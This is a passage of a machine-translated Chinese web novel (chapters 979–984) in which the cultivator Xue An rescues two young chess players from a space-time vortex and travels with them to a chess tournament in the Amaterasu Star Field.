    At this moment, the sea star boat suddenly began to tremble violently.


    And the starry light in the porthole seemed to become distorted.


    Xue An''s eyes changed slightly, "It is a turbulent flow of time and space, and it seems that there is a time and space vortex in front of it!"


    Walking in the candlelight, danger comes from all aspects.


    But this time and space vortex is definitely the greatest danger second to none.


    Because you don''t know when it will appear.


    This is also the reason why many places have become restricted areas But this time and space vortex may be dangerous to others, but Xue An does not take it too seriously.


    But at this moment, An Yan yelled, "Husband, look, there is a flying boat ahead!"


    Xue An looked up.


    really.


    Just in the extreme distance, a huge vortex was taking shape, and on the edge of the vortex, a flying boat was struggling.


    unfortunately.


    The space-time vortex was too big at this time. Compared with the huge suction force formed, the struggle of this starship was simply weak and pitiful.


    Seeing that it was about to fall a little bit into the space-time vortex and be completely torn apart.


    An Yan was anxious, "husband..."


    Xue An smiled faintly, "I understand, save people first!"

 Chapter 979： Amaterasu Star Field, Shocking Chess Game

    After Xue An was promoted to the true immortal, he upgraded and strengthened the sea star boat.


    Especially the star boat that Ye Liuyan passed through from Li Hentian was destroyed by Xue Ansheng, but the materials could be used directly.


    Therefore, the current sea star boat, although not very large, is extremely strong and powerful.


    Even in the face of the huge suction power of the time and space vortex, it is still easy to do.


    So Xue An directly controlled the star boat and sent out a void chain that stretched into the depths of the vortex.


    At this time, the people on the starship obviously also found the cross-sea starship, and when they saw the chain, they immediately drove in here with all their strength.


    at last.


    The star boat touched the chain and then connected.


    The star boat across the sea shook slightly, and was dragged a distance by its powerful suction.


    Xue An''s eyes narrowed slightly, and the powerful divine mind directly controlled the entire sea star boat, the horsepower was instantly fully opened, and then he dragged away frantically.


    The void chain was stretched to its limit.


    Under the full drag of the cross-sea starship, the starship was gradually dragged away from the space-time vortex.


    Finally, both star boats broke away from the space-time vortex and came to safety.


    An Yan was relieved.


    at the same time.


    A divine mind was sent from the star boat.


    "The other party wants to come over and thank you!" Hu Ying felt the other''s divine spirit and said softly.


    "Okay, let them come over!" Xue An was noncommittal.


    In fact, before saving the starship, Xue An had already seen the situation above through strong spiritual thoughts.


    This is a small starship, and the spirit aura on it shows that there are only two people.


    Such a composition is obviously not an interstellar pirate or a ronin, so Xue An will come to the rescue.


    Otherwise, it would be a terrible thing to spread sympathy among the heavens and all realms.


    When the two star boats docked, the people on the opposite star boat came over.


    An Yan and Hu Ying said slightly.


    Because what appeared to them was actually two siblings who were no more than 21 years old.


    At this moment, the faces of these two childish brothers and sisters still have the fear of being almost swallowed by the time and space vortex.


    However, looking at the appearance of the dress, it shows that the other party''s origin should be good.


    The two brothers and sisters were also startled, apparently surprised by the looks of An Yan and Hu Ying.


    But soon, the older teenager regained his sobriety, and then stepped forward and said respectfully, "Thank you for your help! Tianmu Gongjia Gong Changyue, thank you!"


    The young girl also woke up from the panic just now, but her attention was obviously attracted by Hu Ying.


    "Brother, this looks like a fox! So cute!"


    Gong Changyue frowned, "Xue Man, don''t be rude!"


    Gong Xueman''s mouth narrowed, but her eyes never left Hu Ying.


    Hu Ying''s complexion became a little ugly.


    At this moment, Xue An on the side said lightly: "Monk of Divine Mind?"


    Hearing these words, the Gong brothers and sisters were taken aback, and then Gong Changyue glanced at Xue An with a surprised look and nodded.


    "Yes, but I don''t know if the adult is..."


    "Oh, nothing! We just passed by from now on, happened to meet, and saved you!" Xue An said lightly.


    At this moment, Gong Changyue''s heart was a little shaken, because he found that he could not see through the man in front of him.


    After his spiritual thoughts, the man seemed to be enveloped in a thick layer of thick fog. This discovery made Gong Changyue''s heart startled, and his attitude became more respectful.


    "My lord did so easily, but it is considered to have saved the lives of our Gong brothers and sisters!"


    Xue An smiled, "The void is so vast, it''s a good chance to meet by chance!"


    At this moment.


    Gong Changyue��s sister, the Gong Xueman said in a weird tone: "Brother, they are actually playing Shennian Chess!"


    really.


    I saw a very simple three-layer chess game on the table of Xingzhou.


    An Yan blushed.


    This is because she is bored and relieved herself.


    But since neither spirituality nor intellect is what An Yan is good at, so after several days of pondering, he can barely achieve a three-tier chess game.


    At this time, Gong Xueman secretly smiled while covering his mouth: "Hehe, I can win this game with my eyes closed when I was three years old. Is there anyone playing it now?"


    Gong Changyue''s face was stern, and she said solemnly: "Xue Man!"


    It can be seen that Gong Xueman was very afraid of his brother, and he stuck his tongue out, but still said in a low voice.


    "Do you still want to participate in the Shocking Chess Tournament at this level?"


    Although the voice was small, Xue An heard it, and his eyes flashed.


    At this time, Gong Changyue said with an apologetic expression: "I''m really embarrassed. My sister is stubborn by nature. Don''t be like her!"


    Xue An smiled slightly, "It''s okay, but I seem to have heard what Lingmei said just now?"


    Gong Changyue was taken aback, "Didn''t you go to participate in this chess game? Otherwise, how could you appear in such a barren star field?"


    Xue An was noncommittal, "I passed by here because of other things!"


    Gong Changyue smiled bitterly when he heard the words: "It turns out that it is like this. It seems that our two brothers and sisters really should not be killed, or we would have died in the time and space vortex!"


    Then, Gong Changyue roughly explained the game.


    "This Shocking Chess Game is a grand event held by Amaterasu Star Territory, which has a standard itinerary of one month away from here!"


    "Our Tianmuxing Gong family received an invitation because of their good cultivation skills on the chess path!"


    "But because of the long distance, we were delayed due to other things, so the time was a bit tight. In order to reach the Amaterasu before the opening, we took the risk of taking a shortcut and planned to go straight through the wild star field. As a result, I encountered the space-time vortex!"


    Xue An didn''t pay much attention to but when he heard Amaterasu Star Field, his eyes suddenly lit up, and then he asked with interest.


    "It sounds like the cultivation base of the Amaterasu Star Territory on the chess path is very high!"


    Mentioning this incident, Gong Changyue''s eyes flashed a frustrated look, and then she sighed helplessly: "Yes, it can be said that the Amaterasu Star Territory has always been the leader in chess for the past two hundred years, so this is a shocking chess game. The scale is getting bigger and bigger!"


    Xue An nodded noncommitantly, and suddenly smiled, "It just so happens that I have a lot of research on chess, so why don''t I go to the Amaterasu Starfield to take a look at the excitement!"


    Gong Changyue was slightly startled.


    Gong Xueman curled his lips and said with some disdain: "Even my brother dare not say that he has studied chess, you..."


    With that said, Gong Xueman pointed to the very simple three-layer chess game on the table, and the meaning was already obvious.


    Gong Changyue''s expression became cold, "Gong Xueman, you have to dare to speak to your benefactor like this, and be careful that I will shut you in the chess room when I go back, and will not let you out for ten years!"

 Chapter 980： Go to Amaterasu, Hu Ying will show off

    Gong Xueman dared not say anything, but his eyes were still full of dissatisfaction.


    Then Gong Changyue hesitated and said, "It''s okay, but it''s okay, but there is still a month''s trip to Zhaoxing from that day, you..."


    He just wanted to continue.


    Seeing outside the porthole, their star boat suddenly dimmed, then lost all power and floated in the void.


    "What''s going on?" The two brothers and sisters were taken aback, and then said in surprise.


    Xue An said indifferently: "Although your star boat has escaped from the space-time vortex, it has already damaged the source of power due to the tear of gravity, and it is now completely abolished!"


    These words left the brothers and sisters with ashes.


    Before becoming a Da Luo, even the cultivators of physical skills did not dare to stay too much in the void, let alone those cultivators who specialize in spirituality.


    Xue An smiled slightly, "It seems...I just don''t want to go!"


    Although the star boat is not very large, the various facilities inside are very complete, and there are even several guest rooms.


    Thanks to Gong Changyue''s repeated gratitude, the two of them lived on the cross-sea star boat.


    Then Xingzhou turned around and flew towards the Amaterasu Star Territory according to Gong Changyue''s guidance.


    When the two brothers and sisters returned to the room to rest, An Yan asked curiously: "Husband, are you really going to participate in this amazing chess game?"


    Xue An smiled slightly, "Of course not!"


    "then you����."


    Xue An looked forward and said lightly: "Yan''er, haven''t you heard the star field that their brothers and sisters mentioned about hosting this chess game?"


    An Yan was taken aback, "You mean...Amaterasu Star Field?"


    Xue An nodded, "Yes, it''s Amaterasu Star Region!"


    An Yan''s eyes gradually lit up, "I see!"


    Xue An smiled, "What do you understand?"


    An Yan chuckled, "Although I don''t understand too much, I also know that Amaterasu is the legendary **** of R country, and this Amaterasu star field is obviously inseparable from this! Right?


    Xue An patted An Yan''s head, "Okay, I''m getting smarter!"


    An Yan was a little frustrated, "It sounds like I was stupid before."


    Xue An smiled, "Be confident, and remove the seemingly."


    "You...!" An Yan was so angry that she couldn''t wait to bite Xue An.


    Hu Ying turned her head and said faintly: "Ahem, Brother Xue, pay attention to you two, I can be here!"


    Xue An raised his eyebrows, "Not to mention that I have forgotten it. Today''s three hours are already up, so hurry back to the small building!"


    Hu Ying''s face collapsed all of a sudden, "No, Brother Xue, come and I will squeeze your shoulders!"


    With that, she eagerly leaned forward to serve Xue An.


    Xue An waved his hand, "Forget it, if your brother Huye sees this, I think I''m squeezing you!"


    "Oh, let''s not mention that guy now! But Brother Xue, do you want to enter the heaven through this Amaterasu star field?" Hu Ying asked.


    Xue An nodded, "Yeah, after all, neither of you nor I know the star map here. It will take a long time to find it slowly!"


    Hu Ying nodded and was about to speak.


    Gong Xueman tiptoed out of the room and looked at Fox Ying with beaming eyes, "Wow, this little fox can actually talk! Looks so cute!"


    As she said, she leaned over without anyone else, and she stretched out her hand to pinch Fox Ying''s face.


    Hu Ying now looks like an eleven or twelve-year-old girl, with pink cheeks, which is really cute.


    Such charm naturally makes girls like Gong Xueman unstoppable.


    Just as An Yan tried to stop him, Xue An waved his hand with a smile, motioning her not to say anything.


    Xue An has seen a lot of such "bear children" who have been spoiled since childhood.


    Naturally, I know that in order to be honest, there must be enough painful lessons.


    So letting Hu Ying teach her a lesson is also good!


    really.


    Just when Gong Xueman''s hand was about to touch Hu Ying''s cheek.


    Hu Ying, whose face was about to drip out of water, said gloomily, "You know what, I hate people calling me cute!"


    "Huh?" Gong Xueman was taken aback.


    Before she could react, Hu Ying raised her head and stared at her fiercely, "So the old lady will teach you a lesson today!"


    With that, Hu Ying grabbed Gong Xueman''s hand and twisted his wrist abruptly. Gong Xueman couldn''t eat pain, so she dumped her body.


    However, she reacted very quickly, snorted coldly, her eyes flashed, and the turbulent spirit came straight to Huying, trying to control Huying''s mind.


    But when her mind reached Hu Ying, it dissipated like a breeze.


    Gong Xueman was startled.


    Hu Ying said coldly, "Dare to show off in front of my grandmother even with this little spirit?"


    With that, the gleam of light in Fox Ying''s glamorous eyes, Gong Xueman couldn''t even resist, and showed obsession.


    Then Hu Ying said coldly: "Kneel down now!"


    Gong Xueman knelt down obediently.


    Hu Ying raised her chin with a smug look, "Let''s talk about it, dare you still dare?"


    There was a look of fear in Gong Xueman''s eyes.


    She was still sane, but she couldn''t control her body. It felt terrible.


    At this moment.


    Gong Changyue heard the sound outside and hurried out, and then was also stunned by the scene in front of him.


    Seeing his brother come out, Gong Xueman blinked at Gong Changyue with all his might, full of sadness.


    "This...this is..." Gong Changyue asked hesitantly.


    Hu Ying carried her hands behind her back, and said triumphantly: "You sister dare to rush forward and touch me, let me teach her a lesson!"


    Gong Changyue immediately understood what was going on, and couldn''t help smiling bitterly: "Fox fairy girl, my sister is indeed too stubborn. I''m really embarrassed. Please raise your hand and forgive her this time!"


    "It''s pretty much the same!" Hu Ying enjoys this feeling of being complimented especially the phrase Fox Fairy girl, which makes her feel very good, and even looks at this Gong Changyue with a lot of pleasing to the eye.


    Therefore, with a wave of her hand, she released Gong Xueman''s restrictions.


    Gong Xueman hurriedly got up, ran behind her brother, and said aggrievedly: "Brother..."


    "Stop talking, see how I will clean up you after I go back!" Gong Changyue said with a look of hatred for iron and steel.


    Gong Xueman was too scared to speak.


    And Xue An said with a smile at this time: "It seems that Chess Master Changyue can''t sleep, so why don''t you come here for tea and chat?"


    Facing Xue An''s invitation, Gong Changyue hesitated for a moment, then nodded, "If that''s the case, then I''ll be bothering you!"


    As he said, he turned around and said to Gong Xueman: "You go back to sleep! I won''t call you, you are not allowed to come out!"


    Gong Xueman looked helpless, "Brother..."

 Chapter 981： Beyond the chess game, the world is complicated

    "Okay! Isn''t it just a child? Let this little girl come over and eat something too!" An Yan replied.


    In the end, Xue An and Gong Changyue were drinking tea and chatting beside the porthole, while Gong Xueman was eating with An Yan and Hu Ying on the other side.


    This Gong Xueman was just negligent in discipline which led to a stubborn temperament, but his nature was not bad, and he was very naive.


    So after An Yan''s few words, Gong Xueman already shouted Sister Yan with a smile.


    Seeing this scene, Xue An was amused.


    Yan''er''s affinity is increasing day by day!


    Then he retracted his gaze, took a sip of tea, and said lightly: "It seems that Chess Master Changyue doesn''t have much confidence in this game?"


    Gong Changyue was shocked, and then smiled bitterly: "Mr. Xue really has good eyesight! That''s right, I don''t have the slightest confidence in this competition!"


    "Oh? Why do you say that?" Xue An calmly filled Gong Changyue with a cup of tea.


    After Gong Changyue thanked him for watching the tea, he sighed softly: "It''s true that this is my second time to participate in a chess game in Amaterasu Star Territory, but it''s the first time I''ve been alone as a regular guest! "


    Xue listened quietly.


    A look of depression flashed in Gong Changyue��s eyes, and then took a sip of tea, ��Last time I was with Amaterasu who was accompanied by the elders in my family. I had no idea of ??winning any rankings at all. It was purely for the sake of opening up. Vision!"


    Speaking of this, Gong Changyue''s face showed a touch of bitterness.


    "Of course, it''s impossible for me to win the rankings, because after that game, I know the world is big, and there are endless generations of amazing talents. In contrast, my chess skills are even better. Can''t afford the countertop!"


    "Then why are your brother and sister participating in the competition this time?" Xue An said lightly.


    Gong Changyue''s face looked hesitant, "This... please forgive me for not telling me!"


    Xue An smiled, "It''s okay!"


    "Oh! Mr. Xue, I really can''t believe you, it''s because there is something unspeakable! What''s more, this time I went to participate in the competition alone, and I really didn''t have any confidence in my heart!"


    Xue An was noncommittal, "If you lose, you lose. Given your age, this is not a shame!"


    Gong Changyue shook his head, "You don''t understand, last time... the people sent by our Gong family were almost wiped out. If we can''t win the name this time, then our Gong family''s rank in the chess world will be forcibly lowered. ,By the time����."


    Gong Changyue didn''t say the following words, but the worried expression on his face explained everything.


    Xue An smiled and filled a cup of tea again. After a sip, he said calmly: "So, this Aristocratic Starfield is in charge of the game, and it is considered to be in charge of your lifeblood!"


    Gong Changyue''s eyes showed a touch of anger, but in the end he nodded sullenly, "That''s right, and the chess masters of the Amaterasu Star Territory are extremely domineering and arrogant, but they can''t help but crush the people to death. !"


    Having just said this, Gong Xueman on the side suddenly turned around and said, "Brother, it''s not exactly like this. Have you forgotten Sister Zhuge Xuanqing?"


    Hearing this name, Gong Changyue''s eyes burst brightly, but Xuan even dimmed again.


    "Yes! Miss Xuanqing is indeed strong enough to challenge many chess masters in the Amaterasu Star Territory. In the last game, she almost defeated the young talent Jing Tianrui of the Amaterasu Chess Academy, who won three consecutive championships. You can hear this scene. Tian Rui has been closed for three years after the last game, and his chess skills have skyrocketed after he came out. The result of this game is hard to tell!"


    Xue An listened quietly, but when he heard the surname Zhuge, his expression suddenly became a little weird.


    And he could also hear the tenderness on Gong Changyue''s face when he was chanting the name Xuanqing.


    It''s just a matter of engraving the two characters of secret love on his face.


    Xue An smiled and raised his teacup, "It sounds like it''s fun, then I''m going to take part in this game and try it out! If you can get a chess king or something, it''s not bad!"


    Gong Xueman raised his eyebrows when he heard the words, just about to speak, but was glared at by his brother, and had to pretend to cough and cover it.


    Then Gong Changyue raised his cup with a worried expression, "In that case, I would like to congratulate Mr. Xue!"


    It''s just that no matter from the words or the expression, it can be seen that Gong Changyue has no confidence in Xue An''s words.


    Xue An didn''t explain, but just laughed it off.


    Next is the boring time of interstellar travel.


    Because the speed of crossing the star boat is faster than the star boat of the Gong brothers and sisters, the journey that should have been a one-month standard trip was almost finished in 20 days.


    At this time, the surrounding star field changed again.


    The traces of human habitation can already be seen on the past stars, and there are even monk civilizations on several planets.


    Of course, the level of these civilizations is not too high, but they are also considered free from the wild.


    "Mr. Xue, the front is the scope of the Amaterasu Star Region!" Gong Changyue said.


    Xue An stood in front of the porthole and watched quietly, an invisible spirit spread out, wanting to explore this star field.


    Since entering the True Immortal, Xue An''s divine mind coverage has skyrocketed again, and he can even explore a solar system as large as one time.


    But as soon as his divine mind touched the edge of the Amaterasu star field, an invisible barrier stopped him.


    Xue An was not surprised either.


    In places where chess is prevalent, spiritual monks naturally account for the vast majority.


    Therefore, it is not surprising that there is such a magic circle that blocks the prying of divine consciousness.


    And when the sea star boat crossed that barrier.


    The surrounding environment has changed again.


    The originally silent void became lively.


    All kinds of spaceships and flying boats came in droves, even making the route a bit crowded.


    "Mr. Xue These are all people who have come to participate in this shaking chess game!" Gong Changyue explained, his face becoming more ugly.


    Because he found that this time the game was bigger than the last time.


    The more people participating in the competition, the less likely it is to win the ranking.


    Xue An looked at the surrounding environment with great interest, and then said: "It seems to be getting more and more interesting!"


    In the center of the Amaterasu Star Territory is the place where this chess game was held.


    All the flying boats and ships that came were docked on several planets not far from the center.


    Just as Hu Ying sighed before, in the bustling galaxy, there will be no blank planets at all.


    Obviously, these planets have been greatly transformed, and the environment on them is very livable.


    However, this has also caused the heavens of these planets to disappear. To put it bluntly, it is just like a hotel, only suitable for temporary residence.

 Chapter 982： Zhuge Xuanqing

    The star boat across the sea was also docked on one of the planets. After getting off the star boat, there were already many people on the huge tarmac.


    Of course, this is just a very general term. In fact, many of them are not human.


    For example, that kind of mechanical creature is completely indifferent to the human characters.


    An Yan was an eye-opener now.


    Since I came down, my eyes have not stopped, and I looked around, interested in everything.


    Of course, human monks accounted for the vast majority.


    After all, no matter how the other races thrive and prosper, they are not as strong as the human race that is clocked by this luck.


    And among these human monks, there are also clear boundaries.


    All the human monks with short stature, walking on wooden clogs, and arrogant faces gathered together, and sneered at the monks who came here, and made bursts of laughter from time to time.


    In the face of this extremely rude behavior, these monks could only walk by with their heads down in disgrace, and no one even dared to look up at each other.


    Xue An saw all this in his eyes, but the smile on his face remained unchanged.


    But Gong Changyue''s complexion was not so good, he lowered his head, as if trying to avoid something.


    But in front of the cultivator of Divine Mind, this kind of behavior is purely a secret.


    After listening to these cultivators stepping on wooden clogs whispering to each other, and after a burst of laughter, one of the cultivators in the scarlet robe walked over here arrogantly.


    Gong Changyue''s face turned pale, and she lowered her head and said in a low voice, "Mr. Xue, let''s leave here quickly!"


    "Go? Why are you going?" Xue An asked with a smile.


    Because of this delay, the scarlet monk walked up to the front, and then said to Gong Changyue with a arrogant face: "Gong Changyue, I didn''t expect you to come here this time! Why? I think it was last time. Isn''t it bad enough to lose?"


    Gong Changyue''s face was pale, but she still raised her head courageously, "Di Yuanlong, what do you want to do?"


    "What are you doing?" Di Yuanlong gave a sneer, then looked back, "What? This time your Gong family didn''t even send a veteran out, just sent you two wastes?"


    "Does this mean that your Gong family has completely given up? Gaga, if this is the case, I advise you to go back to your home as soon as possible, and you will be embarrassed when you go to the chess board again! After all, last time you even went to the Gong family. The elders of''s elders have no victory, and ran back in despair!"


    These remarks were extremely harsh.


    The Gong brothers and sisters were angry, especially Gong Changyue.


    At any rate, he is also a chess master who has obtained the qualification for the battle, but now he is so insulted, even his family is not spared, and the anger in his heart can be imagined.


    But immediately, his expression dimmed again.


    Because what Di Yuanlong said is true.


    In chess, weakness is original sin.


    As long as you are weak, then you deserve to die!


    So he couldn''t even say anything to refute.


    Just when he was full of despair.


    A slender and powerful hand patted his shoulder lightly, and then a voice came, "Chess Master Changyue, but I heard you say that I intend to win the place in this game, so I can prove myself! How come so fast Just forgot?"


    Gong Changyue shook all over, then raised his head to look at Xue An in a daze.


    Xue An smiled at him slightly.


    At this moment, Di Yuanlong frowned, "Who are you?"


    Xue An glanced at him and smiled faintly, "Me? I''m also here to participate in the competition! I heard that your Amaterasu Star Territory is good at chess, and there is even the existence of a young chess king. I wonder if I should Come and try to see if you can win a chess king or something?"


    Those words made everyone around him stupid.


    Di Yuanlong was taken aback for a moment, and then he was furious, "Bold, dare to be so rude to Master Jing! What rank are you a chess master?"


    Xue An smiled slightly, "I''m sorry, I just got off the Xingzhou, I haven''t had time to take the exam, so I don''t have a rank now!"


    These words came out.


    The audience was silent at first.


    Then there was a burst of roar of laughter.


    "This is the best joke I''ve ever heard this year. A guy who doesn''t even have a rank, actually said to challenge Lord Jing Tianrui of Amaterasu Chess Academy! I really don''t know what to think!" Amates Chess master sneered. Said.


    "Oh, this Gong family was considered a giant of chess at the beginning, but how can the descendants become more and more unbearable, even with such people who do not know the heights?" A chess master who knew the Gong family shook his head and exclaimed.


    Even the Gong brothers and sisters were frightened by Xue An''s "big words".


    Especially Gong Xueman, with a deep look of disdain in his eyes, thinking that Mr. Xue who saved him is good, but he loves to brag.


    At this time, Di Yuanlong smiled back, "Tsk tsk, it really opened my eyes! Gong Changyue, do you just want to rely on such a guy to come back this time?"


    This questioning once again drew laughter from the people around.


    Gong Changyue was speechless, she didn''t know how to respond.


    However, Hu Ying looked upset.


    What she hates most is that some people question her invincible brother Xue, so she will have an attack.


    But at this moment.


    Just listen to the commotion behind the crowd.


    "It''s Miss Zhuge, Miss Zhuge is here!"


    "Miss Xuan Qing is here!"


    In these respectful commotions, the crowd flew away automatically.


    Even Di Yuanlong, who looked arrogant, curbed his arrogance and took the initiative to yield to the side of the road.


    Seeing from a distance, a woman was coming by making money.


    This woman is tall and slender in black, with a black chess bag that is a foot higher than her shoulders behind her back.


    Despite her beautiful appearance, her expression was very cold, and only a pair of extremely beautiful eyes sparkled with light that made people dare not look straight.


    From a long distance, it looks like a female assassin walking through the night.


    Such a woman walked all the way, and everyone bowed their heads wherever they passed.


    Such as Miss Xuanqing, Miss Zhuge''s shouts one after another.


    However, the woman didn''t hear of it, but went straight to Gong Changyue, and then stopped.


    "Gong Changyue!"


    The voice is clear and beautiful.


    Gong Changyue''s eyes have not left since this woman appeared in the crowd, but when he stands in front of him now, he dare not look up and just nodded in response: " Miss Zhuge!"


    That''s right.


    It was Zhuge Xuanqing who made Gong Changyue think about it.


    Zhuge Xuanqing looked at Gong Changyue silently, and it was not until a moment later that she said lightly: "I didn''t expect you to come by yourself this time!"


    Gong Changyue showed a wry smile, just about to say something.


    Zhuge Xuanqing directly turned his head to look at Xue An, and then said coldly: "I heard what you said just now!"


    "So what?" Xue An said with a rather playful look in his eyes.


    "I can only tell you that the strong in chess is respected, and I have seen a lot of arrogant people like you who do not know the height of the sky!"


    Speaking of this, Zhuge Xuanqing''s eyes flashed coldly, "But the final outcome seems to be not very good!"

 Chapter 983： After the dead

    Xue An smiled, "In that case, I would look forward to the next game even more!"


    Zhuge Xuanqing had a look of anger on his face, but even if Xuan disappeared without a trace, he turned and left.


    Just when she walked out of the crowd, she stopped slightly, without turning her head back: "There is indeed a Master Chess, but...it definitely won''t be you!"


    "If you don''t try it, how do you know it won''t be me?" Xue An said with a smile.


    Zhuge Xuanqing did not stay again this time, but left straight away.


    she left.


    Di Yuanlong glanced at Gong Changyue and Xue An with disdain, gave a cold snort, and turned and left.


    The onlookers turned their heads to their ears and looked at Xue An and the others with weird eyes. After a few joking laughter, they also disappeared.


    Xue An smiled and turned to look at Xiang Gong Changyue.


    I saw this dear friend staring at Zhuge Xuanqing who had gone away.


    The eyes are full of infatuation.


    Xue An was a little funny and couldn''t help patting him on the shoulder.


    "Brother Changyue, where are we going next?"


    "Ah..." Gong Changyue trembled all over, and then he woke up from the daze, and then said.


    "Let''s find a place to stay first!"


    "Okay, let''s go!"


    Xue Jian asked casually on the way to the inn specially prepared for the chess masters who came to the game.


    "This Zhuge Xuanqing seems to have a high status among chess masters?"


    Gong Changyue nodded, "Yes!"


    Speaking of this, Gong Changyue showed a wry smile, "Ashamed to speak, this Miss Xuanqing, like me, participated in the last competition for the first time! But people beat the crowd in the last competition. He almost defeated the young chess king Jing Tianrui..."


    There was a trace of nostalgia in Gong Changyue''s eyes, as if she recalled the scene of the black-clothed, indifferent girl pressing Amaterasu on the field that day.


    Seeing the seed of infatuation start to become silly again, Xue An coughed lightly, "Then the Zhuge family is also very strong?"


    Gong Changyue nodded, and said admiringly: "Of course! Apart from the several great chess families and chess schools in the Amaterasu Star Territory, it can be said that the Zhuge family has the most detached status!"


    Speaking of this, Gong Changyue showed a look of sorrow, "Speaking of which, our Tianmu Gong family was not bad at the beginning, but the successor was weak. As a result, we ended up in this situation. It''s really a shame!"


    "The Zhuge family is also the only existence that can compete with the Amaterasu Star Territory! There are many talents under it, and there are many people who are amazing and brilliant. This Miss Xuan Qing is the genius girl who was born in the last year, and before that... ...."


    Gong Changyue said with a face full of admiration: "He has won ten consecutive championships and set a record of winning streaks. It is the most outstanding genius of the Zhuge family for thousands of years. Miss Qing''s brother, Zhuge Hanzo!"


    Xue An originally had a calm face, but when he heard Zhuge Hanzo''s name, he couldn''t help but froze for a while, and then said with a weird face: "Zhuge Hanzo?"


    Gong Changyue nodded, "I heard that the name of this genius is because he knows half of the chess games in the heavens, so he got the name!"


    "Half of the chess game... what a terrifying mind and ingenuity it must be!"


    Gong Changyue sighed.


    A smile appeared at the corner of Xue An''s mouth, "Hanzo, haha, interesting!"


    Gong Changyue is a nine-duan chess master, so even the inn he stayed in was different from other places.


    Although Xue An did not have a rank, because of Gong Changyue, he moved in with his family.


    This inn occupies a large area, but the scenery is beautiful and the decoration is very elegant.


    Every chess master will have his own small courtyard, and these small courtyards have their own magic circles that shield their spiritual minds to prevent others from snooping.


    In this quiet environment, chess players can study the game record with peace of mind.


    Gong Changyue and others lived in a courtyard near the east because they were running around.


    After the Gong brothers and sisters finished cleaning up, they all rested.


    Xue An was sitting in the courtyard drinking tea.


    These magic arrays that shield the spirits may be useful to others, but they are almost transparent to him.


    Therefore, when Xue An''s spiritual thoughts spread, the situation in the entire inn was clear at a glance.


    Basically all chess players have fallen asleep.


    Only a few are still studying chess all night.


    Seeing these serious-faced chess masters playing the chess game eloquently, Xue An couldn''t help laughing a little, but also a little awed.


    No matter when, people who work hard will win respect.


    And in one of the best courtyards of the inn, there lived the Di Yuanlong who repeatedly provoked Gong Changyue today.


    I saw that he didn''t delve into the game, but stood respectfully in the courtyard, as if waiting for someone to arrive.


    Xue An gave a slight hey.


    At this moment, a black light appeared in Di Yuanlong''s courtyard.


    Di Yuanlong hurriedly stepped forward and shouted respectfully: "My lord!"


    Heiguang nodded, and then walked out of the darkness, a man with a handsome face but evil eyes.


    Xue An didn''t change his expression, and continued to perceive with divine consciousness.


    I saw the two walk into the house.


    The man said solemnly: "How is the matter going?"


    Di Yuanlong said respectfully: "My lord, that Gong Changyue arrived today, but under my temptation, it can be seen that he has no confidence in himself!"


    The man nodded, "Very good! This time, we must let this Gong family fall into a deadly place!"


    "Understood! But..."


    "But what?"


    "Today Zhuge Xuanqing is here too, and it seems that she is quite familiar with Gong Changyue!"


    A look of hatred appeared on the man''s face, "Of course they know... but that''s all!"


    "Last time I was careless, I almost let this Zhuge Xuanqing succeed, but this time I was personally guided by Master Chess, and I made great progress in the cultivation of chess. This time, I let their Zhuge family understand~www.novelhall .com~Amateur Star Territory is awesome!"


    Speaking of this, the identity of this man is ready to be revealed.


    That''s right.


    It was the young chess king from the Amaterasu Star Territory, Jing Tianrui.


    This Jing Tian Rui was obviously extremely conceited, pacing back and forth in the room, and then sneered: "Master Chess personally said to me that this Zhuge family is too arrogant, especially the fellow Zhuge Hanzo, who once suppressed us Amaterasu. The 10th Star Controls Competition cannot raise his head, and now this Zhuge Xuanqing obviously wants to be like her brother. This is absolutely not allowed!"


    "You must kill this sign in the cradle in advance, and you can even use all means! Do you remember to closely monitor the movements of this Zhuge Xuanqing, understand?"


    "Yes!" Di Yuanlong said with a hand.


    After a few more words, the Jing Tian Rui left the inn swaggeringly.


    Xue An stood in the courtyard with a smile on his face, "It''s from the deceased...I have to take care of this!"

 Chapter 984： Sister, beat him up!

    Xue An spread his divine mind and instantly enveloped the entire city.


    quickly.


    He felt the breath of Zhuge Xuanqing in an independent small building in the east of the city.


    When Xue An''s spiritual thoughts came here.


    Zhuge Xuanqing was immersing himself in the chess game, and what was placed on the table was a chess game with at least one hundred layers.


    When Xue An''s mind moved, his spiritual mind moved closer.


    But at this moment, Zhuge Xuanqing, who had originally bowed his head, raised his head suddenly, looked in the direction of Xue An��s spiritual mind with a chill, and said sharply: "Who?"


    With that, her spiritual thoughts surged out, trying to capture Xue An''s spiritual thoughts.


    But with her strength, how could she get to Xue An''s side.


    Xue An was just a flash of thought, and his divine thought withdrew directly.


    Zhuge Xuanqing pounced, the look on his face instantly became ugly.


    Although she hadn''t directly touched it, she could still feel the terrifying spirit of that spirit only with her keen sense of touch.


    It''s like a vast ocean, unpredictable.


    Who has such a powerful spiritual mind? Could it be those great abilities of Amaterasu Starfield?


    Zhuge Xuanqing was shocked and uncertain.


    Xue An here smiled slightly after taking back his spiritual thoughts.


    It seems that I really underestimate this Zhuge Xuanqing, and I can actually feel my own existence.


    But things have become more and more interesting.


    the next day.


    Because there was still some time before the game officially started, so early in the morning, Gong Xueman yelled to go out to play.


    Even Gong Changyue couldn''t hold her back, so she had to agree.


    However, An Yan was also a little moved about this, and wanted to go out for a stroll, but she hesitated because she was afraid that Xue An would not agree.


    Xue An saw through An Yan''s thoughts at a glance, and couldn''t help but smile: "Yan''er, you should go out too, after all, this road is really boring, so let''s relax!"


    "But I..." An Yan still hesitated, because she was afraid of causing unnecessary trouble.


    Xue An waved his hand, "Go, why should my woman be afraid of going out to play? If there is any trouble, my husband will settle it for you!"


    Xue An''s bold and dry words moved An Yan a bit, "husband..."


    On the side of Hu Ying, the eyes were even more staring.


    "Brother Xue, I..."


    Xue An shook his head, "No discussion, and it''s time for you to release the wind today, it''s time to return to the Fubao Xiaolou!"


    Hu Ying: "..."


    "Hey! Brother Xue, do you want to treat me like this? Why can sister Yan go out to play? I can''t?


    "Because Yan''er is my wife!"


    "Brother Xue, then I can do it too!" Hu Ying said with a straight face and hope.


    Xue An trembled all over.


    Because now Hu Ying is like a eleven or twelve-year-old girl, with such an immature face to say such words, it really makes people feel guilty.


    Xue An felt that the hairs all over his body were erected, "Hurry up and pull it down! If this is heard by your brother, it may be possible to do bad things for me again!"


    "Oh, I''ve said it, don''t mention that guy!" Hu Ying is obviously annoying her brother, Hu Ye, the kind that is annoying at the first hearing.


    An Yan looked at the two people who were bickering, and couldn''t help but cover her mouth and laugh, "Okay, don''t fight, husband, Ying''er has also worked **** this journey, just let her go out with us for fun. !"


